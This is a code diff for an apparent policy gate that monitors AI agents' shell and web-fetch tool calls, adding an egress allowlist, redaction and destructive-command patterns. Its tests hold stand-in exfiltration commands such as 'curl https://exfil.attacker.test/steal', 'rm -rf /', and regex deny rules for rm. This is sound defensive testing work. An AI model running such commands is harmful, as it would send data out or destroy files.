decision whose whole // signature is the absence of it. it("leaves a clean allow with no reasoning at all", () => { - expect(mapVerdict({ decision: "allow" }, m, "pre_tool_call").reasoning).toBeUndefined(); + expect(mapVerdict({ decision: "allow" }, m, "pre_tool_call", "command").reasoning).toBeUndefined(); }); // Composition is what a `template` asks for. A mapping that declares only @@ -183,6 +195,7 @@ describe("mapVerdict", () => { { decision: "deny", reason: "destructive_shell_command_blocked", message: "matched pattern X at offset 5" }, sourceOnly, "pre_tool_call", + "command", ); expect(d.reasoning).toBe("matched pattern X at offset 5"); }); @@ -265,6 +278,7 @@ describe("mapVerdict — transform becomes a MODIFY that carries modifications", }, m, "pre_tool_call", + "command", ); expect(decision.decision).toBe("modify"); expect(decision.modifications).toEqual({ parameter_overrides: { command: "echo [REDACTED]" } }); @@ -275,6 +289,7 @@ describe("mapVerdict — transform becomes a MODIFY that carries modifications", { decision: "transform", reason: "redaction_applied", transform: { path: "$policy_target", value: "x" } }, m, "pre_tool_call", + "command", ); expect(decision.reason_codes).toEqual(["redaction_applied"]); expect(decision.policy_references).toEqual([{ policy_id: "agt_stock", rule_id: "redaction_applied" }]); @@ -283,9 +298,9 @@ describe("mapVerdict — transform becomes a MODIFY that carries modifications", // A MODIFY with no modifications is invalid per §6, and silently emitting // one would make the host apply nothing while reporting a rewrite. Fail loudly. it("throws when a transform verdict carries no transform object", () => { - expect(() => mapVerdict({ decision: "transform", reason: "redaction_applied" }, m, "pre_tool_call")).toThrow( - /transform/, - ); + expect(() => + mapVerdict({ decision: "transform", reason: "redaction_applied" }, m, "pre_tool_call", "command"), + ).toThrow(/transform/); }); it("throws when the transform names a path this mapping cannot express", () => { @@ -294,19 +309,20 @@ describe("mapVerdict — transform becomes a MODIFY that carries modifications", { decision: "transform", reason: "x", transform: { path: "$.some.other.leaf", value: "y" } }, m, "pre_tool_call", + "command", ), ).toThrow(/\$policy_target/); }); it("leaves every other verdict's shape untouched", () => { - expect(mapVerdict({ decision: "allow" }, m, "pre_tool_call").modifications).toBeUndefined(); - expect(mapVerdict({ decision: "deny", reason: "r", message: "m" }, m, "pre_tool_call").modifications) + expect(mapVerdict({ decision: "allow" }, m, "pre_tool_call", "command").modifications).toBeUndefined(); + expect(mapVerdict({ decision: "deny", reason: "r", message: "m" }, m, "pre_tool_call", "command").modifications) .toBeUndefined(); // `escalate -> ask` is asserted above, in the test whose subject that is; // this line is about the same thing as its two neighbours -- that only a // `modify` grows a `modifications` object. expect( - mapVerdict({ decision: "escalate", reason: "approval_required", message: "m" }, m, "pre_tool_call") + mapVerdict({ decision: "escalate", reason: "approval_required", message: "m" }, m, "pre_tool_call", "command") .modifications, ).toBeUndefined(); }); @@ -339,6 +355,7 @@ describe("mapVerdict — transform becomes a MODIFY that carries modifications", { decision: "transform", reason: "x", transform: { path: "$policy_target", value: "y" } }, withUnsupportedInto, "pre_tool_call", + "command", ), ).toThrow(/modified_content/); }); @@ -359,7 +376,7 @@ describe("mapVerdict — the modifications synthesis is per intervention point", } as const; it("maps a post-tool transform to a redaction on the output path", () => { - const decision = mapVerdict(transformVerdict, m, "post_tool_call"); + const decision = mapVerdict(transformVerdict, m, "post_tool_call", undefined); expect(decision.decision).toBe("modify"); expect(decision.modifications).toEqual({ redactions: [{ path: "/outputs/0/value", replacement: "TOKEN=[REDACTED]" }], @@ -371,6 +388,7 @@ describe("mapVerdict — the modifications synthesis is per intervention point", { decision: "transform", reason: "redaction_applied", transform: { path: "$policy_target", value: "echo [REDACTED]" } }, m, "pre_tool_call", + "command", ); expect(decision.modifications).toEqual({ parameter_overrides: { command: "echo [REDACTED]" } }); }); @@ -379,7 +397,15 @@ describe("mapVerdict — the modifications synthesis is per intervention point", // would be rejected by the Guardian's own response validation. it("never emits both shapes at once", () => { for (const point of ["pre_tool_call", "post_tool_call"]) { - const mods = mapVerdict(transformVerdict, m, point).modifications as Record; + // The shipped mapping declares no policy_target_argument for + // post_tool_call, so "command" is not a value resolvePolicyTargetArgument + // could ever answer there -- only pre_tool_call's parameter_overrides + // branch reads this argument at all. + const policyTargetArgument = point === "pre_tool_call" ? "command" : undefined; + const mods = mapVerdict(transformVerdict, m, point, policyTargetArgument).modifications as Record< + string, + unknown + >; expect(["redactions", "parameter_overrides"].filter((k) => k in mods)).toHaveLength(1); expect("modified_content" in mods).toBe(false); } @@ -416,7 +442,7 @@ describe("mapVerdict — the modifications synthesis is per intervention point", "post_model_call", "no_such_point", ]) { - expect(() => mapVerdict(transformVerdict, m, point)).toThrow(/no modifications rule/); + expect(() => mapVerdict(transformVerdict, m, point, undefined)).toThrow(/no modifications rule/); } }); @@ -432,7 +458,69 @@ describe("mapVerdict — the modifications synthesis is per intervention point", { decision: "transform", reason: "x", transform: { path: "$policy_target", value: { some: "object" } } }, m, "post_tool_call", + undefined, ), ).toThrow(/replacement/); }); }); + +describe("which argument a tool's policy target is read from", () => { + const shipped = loadMapping("mapping.yaml"); + + it("answers the argument the table names for that tool", () => { + expect(resolvePolicyTargetArgument(shipped, "pre_tool_call", "WebFetch")).toBe("url"); + expect(resolvePolicyTargetArgument(shipped, "pre_tool_call", "Bash")).toBe("command"); + }); + + it("falls back to the default for a tool the table does not name", () => { + expect(resolvePolicyTargetArgument(shipped, "pre_tool_call", "SomeToolNobodyRegistered")).toBe("command"); + }); + + it("answers nothing for a gate that rewrites a payload leaf rather than an argument", () => { + expect(resolvePolicyTargetArgument(shipped, "post_tool_call", "Bash")).toBeUndefined(); + }); + + it("throws for a point the mapping has no row for at all", () => { + expect(() => resolvePolicyTargetArgument(shipped, "not_a_point", "Bash")).toThrow(/no row/); + }); + + it("throws when the table names neither a default nor an entry for this tool", () => { + const broken = { + intervention_points: { + pre_tool_call: { acs_method: "steps/toolCallRequest", policy_target_argument: { by_tool: { Bash: "command" } } }, + }, + } as unknown as Mapping; + expect(() => resolvePolicyTargetArgument(broken, "pre_tool_call", "WebFetch")).toThrow(/default/); + }); +}); + +describe("a rewrite lands on the argument the tool actually sent it in", () => { + const shipped = loadMapping("mapping.yaml"); + const redaction: AgtVerdict = { + decision: "transform", + reason: "redaction_applied", + transform: { path: "$policy_target", value: "https://docs.anthropic.com/?t=[REDACTED]" }, + }; + + it("keys the parameter override by the resolved argument, not by a literal", () => { + expect(mapVerdict(redaction, shipped, "pre_tool_call", "url").modifications).toEqual({ + parameter_overrides: { url: "https://docs.anthropic.com/?t=[REDACTED]" }, + }); + }); + + it("keys a shell rewrite the same way, from the same declaration", () => { + expect(mapVerdict(redaction, shipped, "pre_tool_call", "command").modifications).toEqual({ + parameter_overrides: { command: "https://docs.anthropic.com/?t=[REDACTED]" }, + }); + }); + + it("refuses to report a rewrite with no argument to land it on", () => { + expect(() => mapVerdict(redaction, shipped, "pre_tool_call", undefined)).toThrow(/policy_target_argument/); + }); + + it("leaves the result gate's redaction pointer alone -- it addresses a payload leaf, not an argument", () => { + expect(mapVerdict(redaction, shipped, "post_tool_call", undefined).modifications).toEqual({ + redactions: [{ path: "/outputs/0/value", replacement: "https://docs.anthropic.com/?t=[REDACTED]" }], + }); + }); +}); diff --git a/packages/guardian/test/server.test.ts b/packages/guardian/test/server.test.ts index 202c1043..e1d84693 100644 --- a/packages/guardian/test/server.test.ts +++ b/packages/guardian/test/server.test.ts @@ -13,6 +13,8 @@ import { supplySourceLabels, } from "../src/index.ts"; import { toRepoRelativeMessage } from "../src/server.ts"; +import { dispatchGuardianAnnotator } from "../src/deployment-bridge.ts"; +import type { AcsFinalResult } from "../src/acs-result.ts"; const HANDSHAKE_SCHEMA_PATH = "spec/acs/specification/v0.1.0/handshake.json"; @@ -107,6 +109,34 @@ async function postStep(guardian: { url: string }, envelope: unknown): Promise, + extraPayload?: Record, +): Promise { + const response = await postAcs( + guardian.url, + makeEnvelope("steps/toolCallRequest", { + tool: { name: toolName }, + arguments: Object.fromEntries(Object.entries(args).map(([k, v]) => [k, { value: v }])), + ...extraPayload, + }), + ); + return response.result as unknown as AcsFinalResult; +} + /** The options every session-state test starts from, spread with its own * overrides. Extracted from what beforeAll already passed inline. */ const baseOptions = { port: 0, manifestPath: "policy/manifest.yaml" } as const; @@ -1366,3 +1396,195 @@ describe("session state end to end", () => { } }); }); + +describe("a redaction lands on the argument the tool actually sent", () => { + // The host in this URL is load-bearing, and not for the redaction. AGT ranks + // an egress deny ABOVE a redact transform, so this case only reaches the + // redact rule because `docs.anthropic.com` matches an allowlist entry in + // policy/lib/data.json (`*.anthropic.com`). Narrow or remove that entry and + // this test stops asserting a redaction and starts reporting an + // egress_destination_not_allowed deny -- which is correct behaviour and a + // confusing failure, so it is written down here rather than rediscovered. + it("rewrites the fetch's url, and names no argument the tool does not have", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest(guardian, "WebFetch", { + url: "https://docs.anthropic.com/?t=ghp_ABCDEF123456", + }); + expect(decision.decision).toBe("modify"); + expect(decision.modifications).toEqual({ + parameter_overrides: { url: "https://docs.anthropic.com/?t=[REDACTED]" }, + }); + expect(Object.keys(decision.modifications?.parameter_overrides ?? {})).not.toContain("command"); + } finally { + await guardian.close(); + } + }); + + it("still rewrites a shell command's own argument, from the same declaration", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest(guardian, "Bash", { command: "echo ghp_ABCDEF123456" }); + expect(decision.modifications).toEqual({ parameter_overrides: { command: "echo [REDACTED]" } }); + } finally { + await guardian.close(); + } + }); +}); + +describe("the annotator the shipped manifest declares", () => { + // The origin, not the matched text: for an authority no parser could read + // two ways, the annotator hands the gate a parsed origin, so a query or a + // fragment cannot stand in for the host. Authorities that are not that + // unambiguous get a destination that cannot resolve instead -- see that + // module's own suite. This test is here to prove the routing, and it carries + // the destination shape too, so a change to either is visible in both suites. + it("routes the egress annotator by name", () => { + expect( + dispatchGuardianAnnotator("egress", {}, { snapshot: { tool_call: { args: {}, raw_command: "curl https://exfil.test/x" } } }), + ).toEqual({ destination: "https://exfil.test" }); + }); + + // A manifest naming an annotator this Guardian has nothing for is a + // deployment fault, and AGT turns the throw into a deny on every call -- + // which is exactly right, because it is wrong on every call. Answering an + // empty annotation instead would run the deployment silently unannotated. + it("refuses a name it has no annotator for, rather than answering nothing", () => { + expect(() => dispatchGuardianAnnotator("drift_score", {}, {})).toThrow(/drift_score/); + }); +}); + +// THE ONE CHECK IN THIS SLICE WHOSE ABSENCE WOULD BE SILENT. A manifest +// declaring an annotator the Guardian dispatches nothing for denies every +// call, benign ones included, with a runtime-error reason that reads like a +// policy decision -- measured. Nothing else here would catch that: every +// deny-side test in this slice would still pass. +describe("a benign call under the shipped manifest and the shipped annotator", () => { + it("is not denied", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest(guardian, "Bash", { command: "echo hi" }, { raw_command: "echo hi" }); + expect(decision.decision).toBe("allow"); + expect(decision.reason_codes ?? []).not.toContain("runtime_error:annotation_failed"); + } finally { + await guardian.close(); + } + }); +}); + +describe("AGT's stock egress gate, driven from configuration", () => { + it("denies a fetch of a host the allowlist does not cover", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest(guardian, "WebFetch", { url: "https://exfil.attacker.test/steal" }); + expect(decision.decision).toBe("deny"); + expect(decision.reason_codes).toEqual(["egress_destination_not_allowed"]); + } finally { + await guardian.close(); + } + }); + + it("allows a fetch the allowlist covers", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + expect((await postToolCallRequest(guardian, "WebFetch", { url: "https://docs.anthropic.com/x" })).decision).toBe("allow"); + } finally { + await guardian.close(); + } + }); + + it("denies a shell command reaching the same host, from a destination the Guardian extracted", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest( + guardian, + "Bash", + { command: "curl https://exfil.attacker.test/steal" }, + { raw_command: "curl https://exfil.attacker.test/steal" }, + ); + expect(decision.decision).toBe("deny"); + expect(decision.reason_codes).toEqual(["egress_destination_not_allowed"]); + } finally { + await guardian.close(); + } + }); + + // No false positive in either direction, which is what makes a SHARED + // policy-target leaf safe: the destructive-shell patterns do not match URLs, + // and the egress gate does not match commands. + it("still denies a destructive shell command on its own gate, not on this one", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest(guardian, "Bash", { command: "rm -rf /" }, { raw_command: "rm -rf /" }); + expect(decision.reason_codes).toEqual(["destructive_shell_command_blocked"]); + } finally { + await guardian.close(); + } + }); + + it("allows a shell command reaching a host the allowlist covers", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest( + guardian, + "Bash", + { command: "curl https://docs.anthropic.com/x" }, + { raw_command: "curl https://docs.anthropic.com/x" }, + ); + expect(decision.decision).toBe("allow"); + } finally { + await guardian.close(); + } + }); + + // The stated miss direction, at the level a demo viewer sees it: a command + // the extractor cannot parse is unexamined, not denied. + it("allows a command it can find no destination in, rather than denying what it cannot read", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + expect( + (await postToolCallRequest(guardian, "Bash", { command: "echo hi" }, { raw_command: "echo hi" })).decision, + ).toBe("allow"); + } finally { + await guardian.close(); + } + }); +}); + +// policy/manifest.drift.yaml had NOTHING holding it: no code in this tree +// builds a bridge or a Guardian on it, and its only invocation is a code block +// inside a runbook, which is documentation and never executed. So the property +// below -- the one its policy_target and its annotation `from` were moved onto +// the normalised leaf for -- was backed by nothing the suite could detect, in +// either direction, and a regression would have surfaced as a total deny in a +// live demo rather than as a red test. +// +// Measured, by pointing that manifest's two paths back at +// "$.tool_call.args.command" and evaluating this same shape: deny, +// runtime_error:path_missing, before any rule ran. The tool here is registered +// in that manifest and sends no `command` at all, which is the whole point -- +// against a target naming one tool's own argument, that is a total deny for +// every call by every tool shaped like it. +describe("the drift demo's manifest, on a tool that sends no command", () => { + it("resolves its policy target and its annotation, rather than denying the call before any rule runs", async () => { + const guardian = await startGuardian({ + port: 0, + manifestPath: "policy/manifest.drift.yaml", + // The constant-score stub docs/demos/v3-runbook.md runs the demo with. + // AGT's design puts behaviour-drift detection outside the policy engine, + // so a fixed score makes the wiring visible without building a detector. + annotator: () => 0.9, + }); + try { + const decision = await postToolCallRequest(guardian, "WebFetch", { url: "https://docs.anthropic.com/x" }); + + expect(decision.reason_codes ?? []).not.toContain("runtime_error:path_missing"); + // Not vacuous: every way this manifest can fail a call it cannot resolve + // -- path_missing, tool_unknown, annotation_failed -- arrives as a deny, + // so a decision of "allow" is what says the call was actually evaluated. + expect(decision.decision).toBe("allow"); + } finally { + await guardian.close(); + } + }); +}); diff --git a/packages/host-adapter/src/build-envelope.ts b/packages/host-adapter/src/build-envelope.ts index 22c9e4c2..bb680234 100644 --- a/packages/host-adapter/src/build-envelope.ts +++ b/packages/host-adapter/src/build-envelope.ts @@ -86,8 +86,9 @@ type HookmapHookEntryCommon = { /** * The tool names this gate governs. Undeclared (`undefined`) means "every * tool" -- matching Claude Code's own hookmap, which needs no scoping at - * all because its settings.json matcher (`^Bash$`) already provides it, - * for both of its gates. + * all because its settings.json matcher already provides it, for both of + * its gates: `^(Bash|WebFetch)$` at the request gate, `^Bash$` at the + * result gate. * * Common to both entry kinds, not just the result-gate shape: scoping * which tools a gate governs is orthogonal to which payload shape that @@ -134,6 +135,17 @@ type HookmapHookEntryCommon = { export type HookmapRequestHookEntry = HookmapHookEntryCommon & { /** JSONPath-lite (`$.foo.bar`) into the raw hook payload for the argument bag. */ arguments: string; + /** + * JSONPath-lite into the raw hook payload for the command line this step is, + * verbatim -- ACS's own `raw_command`, optional in + * hooks/tool-call-request.json and optional here. + * + * Declared per host because the field it lives in is the host's: Claude Code + * puts it at `$.tool_input.command`, OpenCode at `$.args.command`. A tool + * that is not a shell command resolves it to nothing, and that is an + * ordinary outcome, not a fault -- see buildPayload. + */ + raw_command?: string; outputs?: never; exit_status?: never; }; @@ -141,6 +153,10 @@ export type HookmapRequestHookEntry = HookmapHookEntryCommon & { /** A hook asking after a step ran: builds a tool-call-result payload. */ export type HookmapResultHookEntry = HookmapHookEntryCommon & { arguments?: never; + /** A result payload carries no command. Spelled `never` beside the request + * entry's own member, the same way `arguments` and `outputs` are, so the + * broken entry is not a legal type. */ + raw_command?: never; outputs: HookmapOutputs; /** * The exit status this hook means. A literal for a host whose gate genuinely @@ -185,6 +201,9 @@ type AcsOutput = { value: unknown }; export type AcsToolCallRequestPayload = { tool: { name: string }; arguments: Record; + /** ACS's optional `raw_command`. Present only when the hookmap declared a + * path for it AND that path resolved to a string. */ + raw_command?: string; exit_status?: never; outputs?: never; }; @@ -197,6 +216,11 @@ export type AcsToolCallRequestPayload = { export type AcsToolCallResultPayload = { tool: { name: string }; arguments?: never; + /** A result payload carries no command line, the same way it carries no + * arguments -- declared `never` here for the identical reason, so the + * exclusive union stays exclusive and `raw_command` reads as `string | + * undefined` on either payload shape without a cast. */ + raw_command?: never; exit_status: string; outputs: AcsOutput[]; }; @@ -736,10 +760,50 @@ function buildPayload( args[key] = { value }; } } - return { tool: { name: toolName }, arguments: args }; + + const payloadOut: AcsToolCallRequestPayload = { tool: { name: toolName }, arguments: args }; + + // `?? undefined` for the same reason its siblings use it: a bare + // `raw_command:` line parses to null in YAML, which is a key present and + // unusable rather than a key absent. + const rawCommandPath = entry.raw_command ?? undefined; + if (rawCommandPath !== undefined) { + if (typeof rawCommandPath !== "string") { + throw new Error( + `buildEnvelope: hookmap entry for hook "${event}" declares "raw_command" as ` + + `${JSON.stringify(rawCommandPath)} -- "raw_command" names the verbatim command line with a ` + + `single JSONPath-lite string, the same notation as "arguments" beside it`, + ); + } + const rawCommand = resolvePath(payload, rawCommandPath); + // Omitted, never a throw, and the asymmetry with outputs.from below is + // deliberate. An unresolvable outputs.from throws because a result + // payload with no output would ask the far end to govern a step whose + // output it cannot see. raw_command is different in kind: it is optional + // in hooks/tool-call-request.json, a request payload without one is + // complete and fully governable, and a tool that is not a shell command + // resolves this path to nothing on EVERY call. Throwing there would send + // every one of those steps to governStep's posture path, which under the + // shipped `proceed` runs the step ungoverned. + if (typeof rawCommand === "string") { + payloadOut.raw_command = rawCommand; + } + } + + return payloadOut; } if (outputs !== undefined) { + // A result gate declaring a command path is a hookmap fault, not a payload + // one: the result payload this branch builds has no member for it, so the + // declaration could only ever be silently dropped. + if (entry.raw_command !== undefined && entry.raw_command !== null) { + throw new Error( + `buildEnvelope: hookmap entry for hook "${event}" declares "raw_command" beside "outputs" -- a ` + + `result payload carries no command line, and this declaration could only be dropped`, + ); + } + // The entry's own three members are checked first and the payload after. A // malformed entry is a hookmap fault and an unresolvable path is a payload // fault; which of these throws is what tells an incident reviewer apart, diff --git a/packages/host-adapter/src/govern-step.ts b/packages/host-adapter/src/govern-step.ts index 2fe97aaa..49862c86 100644 --- a/packages/host-adapter/src/govern-step.ts +++ b/packages/host-adapter/src/govern-step.ts @@ -150,8 +150,10 @@ export type GovernStepInput = { * hookmap may legitimately name that a registry does not. * * Optional because a gate can decline to scope at all: host #1 declares no - * `tools` at either of its gates (its own settings.json matcher already - * scopes both), so it has nothing to tell and nothing is checked. A caller + * `tools` at either of its gates -- each has its own settings.json matcher + * already scoping it, and the two are no longer the same matcher: the + * request gate's matcher names two tools, the result gate's matcher still + * names one -- so it has nothing to tell and nothing is checked. A caller * whose gate does declare a list and does not tell is refused outright, * before anything is asked or audited -- see the guard in `governStep` * below, which is what makes this structural rather than a convention a @@ -287,8 +289,9 @@ export type GovernedStep = * Does this gate govern this tool? -- `hookmap.hooks[hookEventName].tools`, * enacted. An entry with no `tools` key governs every tool, which is * `HookmapHookEntryCommon.tools`'s own contract (build-envelope.ts) and - * host #1's own case: its hookmap declares no `tools` at either gate, because - * its settings.json matcher (`^Bash$`) already scopes both. + * host #1's own case: its hookmap declares no `tools` at either gate, + * because each has its own settings.json matcher already scoping it -- + * `^(Bash|WebFetch)$` at the request gate, `^Bash$` at the result gate. * * `tools` is shared hookmap vocabulary that build-envelope.ts shape-checks at * load time (`assertToolsWellFormed`) and normalises (`normalizeTools`), but diff --git a/packages/host-adapter/test/build-envelope.test.ts b/packages/host-adapter/test/build-envelope.test.ts index 4807fce5..c85ad649 100644 --- a/packages/host-adapter/test/build-envelope.test.ts +++ b/packages/host-adapter/test/build-envelope.test.ts @@ -911,10 +911,10 @@ describe("buildEnvelope", () => { }); }); - it("loads the real opencode.hookmap.yaml's request gate, now scoped to `bash`", () => { + it("loads the real opencode.hookmap.yaml's request gate, now scoped to `bash` and `webfetch`", () => { const parsed = loadHookmap("hosts/opencode/opencode.hookmap.yaml"); expect(parsed.hooks["tool.execute.before"]?.outputs).toBeUndefined(); - expect(parsed.hooks["tool.execute.before"]?.tools).toEqual(["bash"]); + expect(parsed.hooks["tool.execute.before"]?.tools).toEqual(["bash", "webfetch"]); }); }); @@ -1053,4 +1053,98 @@ describe("buildEnvelope", () => { // reached, since `loadHookmap` calls it last, after every check has // passed. }); + + describe("the raw command a hookmap declares a path for", () => { + // Casts to HookmapHookEntry the same way `withBrokenEntry` above does: a + // hookmap loaded from YAML has no compile-time guarantee on its shape, so + // a fixture built to exercise the runtime guard has to bypass the + // compile-time one rather than satisfy it. + function requestGate(extra: Record = {}): Hookmap { + return { + host: "test-host", + hooks: { + PreToolUse: { + acs_method: "steps/toolCallRequest", + tool_name: "$.tool_name", + arguments: "$.tool_input", + raw_command: "$.tool_input.command", + decisions: { allow: { output: { d: { value: "allow" } } }, deny: { output: { d: { value: "deny" } } } }, + ...extra, + } as unknown as HookmapHookEntry, + }, + }; + } + + it("carries it onto the request payload when the path resolves", () => { + const envelope = buildEnvelope( + "PreToolUse", + { session_id: "s", tool_name: "Bash", tool_input: { command: "curl https://exfil.test/x" } }, + requestGate(), + ); + expect(envelope.params.payload.raw_command).toBe("curl https://exfil.test/x"); + }); + + // Unlike outputs.from, whose unresolvable path throws: raw_command is + // optional in the ACS request payload, and a tool with no shell command + // resolves this path to nothing on every call. Throwing would send every + // one of those steps into the delivery posture and, under the shipped + // `proceed`, run it ungoverned. + it("omits it when the path does not resolve, rather than failing the step", () => { + const envelope = buildEnvelope( + "PreToolUse", + { session_id: "s", tool_name: "WebFetch", tool_input: { url: "https://docs.anthropic.com/x" } }, + requestGate(), + ); + expect(envelope.params.payload.raw_command).toBeUndefined(); + expect(envelope.params.payload.arguments?.url).toEqual({ value: "https://docs.anthropic.com/x" }); + }); + + it("omits it when the path resolves to something that is not a string", () => { + const envelope = buildEnvelope( + "PreToolUse", + { session_id: "s", tool_name: "Bash", tool_input: { command: { nested: true } } }, + requestGate(), + ); + expect(envelope.params.payload.raw_command).toBeUndefined(); + }); + + it("names the hook and the member when the declaration is not a path string", () => { + expect(() => + buildEnvelope( + "PreToolUse", + { session_id: "s", tool_name: "Bash", tool_input: { command: "echo hi" } }, + requestGate({ raw_command: { from: "$.tool_input.command" } }), + ), + ).toThrow(/PreToolUse.*raw_command/s); + }); + + it("refuses a result gate that declares one -- a result payload has no command", () => { + const withRawCommand: Hookmap = { + host: "test-host", + hooks: { + PostToolUse: { + acs_method: "steps/toolCallResult", + tool_name: "$.tool_name", + outputs: { from: "$.tool_response.stdout", within: "$.tool_response" }, + exit_status: { literal: "success" }, + raw_command: "$.tool_input.command", + decisions: { allow: { output: { d: { value: "a" } } }, deny: { output: { d: { value: "d" } } } }, + } as unknown as HookmapHookEntry, + }, + }; + + expect(() => + buildEnvelope( + "PostToolUse", + { + session_id: "s", + tool_name: "Bash", + tool_input: { command: "echo hi" }, + tool_response: { stdout: "hi" }, + }, + withRawCommand, + ), + ).toThrow(/PostToolUse.*raw_command/s); + }); + }); }); diff --git a/packages/host-adapter/test/govern-step.test.ts b/packages/host-adapter/test/govern-step.test.ts index 5f1c85b5..5134115a 100644 --- a/packages/host-adapter/test/govern-step.test.ts +++ b/packages/host-adapter/test/govern-step.test.ts @@ -751,8 +751,10 @@ describe("governStep — a gate governs only the tools its hookmap entry names", /** * Claude Code's own case, and the reason this is a separate test rather * than an assumption: hosts/claude-code/claude-code.hookmap.yaml declares - * no `tools` key at either of its gates, because its settings.json matcher - * (`^Bash$`) already scopes both. What this row measures is that pair + * no `tools` key at either of its gates, because each has its own + * settings.json matcher already scoping it -- `^(Bash|WebFetch)$` at the + * request gate, `^Bash$` at the result gate. What this row measures is + * that pair * reaching `governStep` and coming back governed -- not that `governsTool` * reads an absent list correctly, which it never gets asked here (see the * told companion test below, which is where that half is pinned). diff --git a/policy/lib/data.json b/policy/lib/data.json index 1787ea9d..bcd7e250 100644 --- a/policy/lib/data.json +++ b/policy/lib/data.json @@ -2,10 +2,15 @@ "agt": { "defaults": { "config": { + "egress": { + "allowlist": ["*.anthropic.com", "docs.example.com"] + }, "patterns": { "patterns": [ "(?i)rm\\s+-[a-z]*r[a-z]*f[a-z]*\\s+/(?:\\s|$)", - "(?i)rm\\s+-[a-z]*f[a-z]*r[a-z]*\\s+/(?:\\s|$)" + "(?i)rm\\s+-[a-z]*f[a-z]*r[a-z]*\\s+/(?:\\s|$)", + "(?i)rm\\s+-[a-z]*r[a-z]*f[a-z]*\\s+\\.\\.?/?(?:\\s|$)", + "(?i)rm\\s+-[a-z]*f[a-z]*r[a-z]*\\s+\\.\\.?/?(?:\\s|$)" ], "reason": "destructive_shell_command_blocked" }, diff --git a/policy/manifest.drift.yaml b/policy/manifest.drift.yaml index a5f600aa..cd990ee9 100644 --- a/policy/manifest.drift.yaml +++ b/policy/manifest.drift.yaml @@ -49,12 +49,24 @@ annotators: type: classifier intervention_points: pre_tool_call: - policy_target: "$.tool_call.args.command" + # The same normalised leaf policy/manifest.yaml points at, and for the same + # reason: AGT resolves policy_target before any rule runs, so a target + # naming one tool's own argument denies every call by a tool that has no + # such argument, on runtime_error:path_missing with no rule consulted. + # "$.tool_call.args.command" still resolved for Bash today only because the + # assembler leaves each tool's own arguments beside the leaf -- so leaving + # it there would have gone on working until the first non-shell tool anyone + # ran this demo with, and then denied it silently. + # + # `annotations.drift_score.from` moves with it because that path is a + # LIVENESS PRECONDITION: it must resolve or AGT denies the whole call + # before the annotator is dispatched at all. + policy_target: "$.tool_call.args.acs_policy_target" policy_target_kind: tool_args tool_name_from: "$.tool_call.name" annotations: drift_score: - from: "$.tool_call.args.command" + from: "$.tool_call.args.acs_policy_target" policy: id: agt_stock tools: @@ -75,3 +87,20 @@ tools: type: Tool id: bash security_labels: [shell] + # A tool whose own arguments carry no `command` -- which is the whole point + # of it being here. This manifest's policy_target and its annotation `from` + # both name the normalised leaf now, so a non-shell tool shape resolves them; + # pointed at "$.tool_call.args.command", as they were, this call denied on + # runtime_error:path_missing before any rule ran. Registered because an + # unregistered tool_call.name denies on runtime_error:tool_unknown first, + # which would make that property untestable through this manifest at all. + # Both spellings, for the reason policy/manifest.yaml gives: one manifest + # serves both hosts. + WebFetch: + type: Tool + id: WebFetch + security_labels: [shell] + webfetch: + type: Tool + id: webfetch + security_labels: [shell] diff --git a/policy/manifest.yaml b/policy/manifest.yaml index 752ed5ee..de82d6d8 100644 --- a/policy/manifest.yaml +++ b/policy/manifest.yaml @@ -14,22 +14,69 @@ policies: # every rule while still answering allow. bundle: lib query: data.agt.defaults.verdict +# The one annotator this deployment declares, and the only way `annotations` +# reaches policy input at all -- five other placements were tried against the +# ACS snapshot and every one was dropped silently; see +# policy/manifest.drift.yaml's header. +# +# `classifier` is AGT's own type for a host-supplied judgement about a step. +# Here the judgement is "which destination does this command reach", which the +# Guardian answers from ACS's raw_command because AGT's own host_of() cannot: +# it has a second branch for strings with no "://" that returns the command's +# leading word, so a forwarded command line ALWAYS resolves a destination +# (measured: `echo hi` answers `echo hi`), no allowlist pattern matches a +# command line, and every benign shell step would be denied. +# packages/guardian/src/annotate-egress.ts carries the full measurement. +# +# The value lands at ["annotations", "egress", "destination"], one of the five +# paths `default_destination_paths` in policy/lib/egress.rego declares, so this +# seam is AGT's own published address rather than anything invented here. +# +# WHAT MUST BE TRUE FOR THIS BLOCK TO BE SAFE, measured rather than assumed: a +# manifest that declares an annotator and is evaluated by a bridge built +# WITHOUT a dispatcher denies every call -- benign ones included -- with +# runtime_error:annotation_failed. startGuardian therefore supplies its +# built-in dispatcher unconditionally, and a test asserting a benign call is +# not denied under this manifest is the backstop. +annotators: + egress: + type: classifier intervention_points: pre_tool_call: - # This leaf's argument name ("command") must agree with mapping.yaml's - # intervention_points.pre_tool_call.modifications.into_argument, which is - # how AGT's transform ($policy_target) lands as ACS parameter_overrides. - # Derived and checked in test/path-dialects.test.ts, so the agreement is a - # failing test rather than a comment asking a reader to compare two files. + # ONE target for every tool, which is all AGT's manifest schema allows: + # intervention_point is additionalProperties: false with exactly one + # policy_target, and AGT resolves it before any rule runs. So this target + # is NOT any host's argument -- it is the normalised leaf the Guardian + # writes, and mapping.yaml's policy_target_argument table is what says + # which of each tool's own arguments was copied into it. # - # That key sits per-intervention-point rather than in one shared table, - # because the same transform is a tool-argument override at this gate and - # a redaction at the result gate. This is the FIRST of the two places - # mapping.yaml and this file touch -- see post_tool_call below for the - # second. - policy_target: "$.tool_call.args.command" + # Measured, and the reason this is no longer "$.tool_call.args.command": a + # benign WebFetch call under that target is DENIED on + # runtime_error:path_missing, with no rule consulted. One literal argument + # name can only serve a deployment that governs one tool shape. + # + # test/path-dialects.test.ts checks the two agreements this leaf sits + # between: that this path names the leaf assemble-snapshot.ts writes, and + # that every argument mapping.yaml's by_tool table names is keyed by a tool + # this file's own tools: registry knows. + 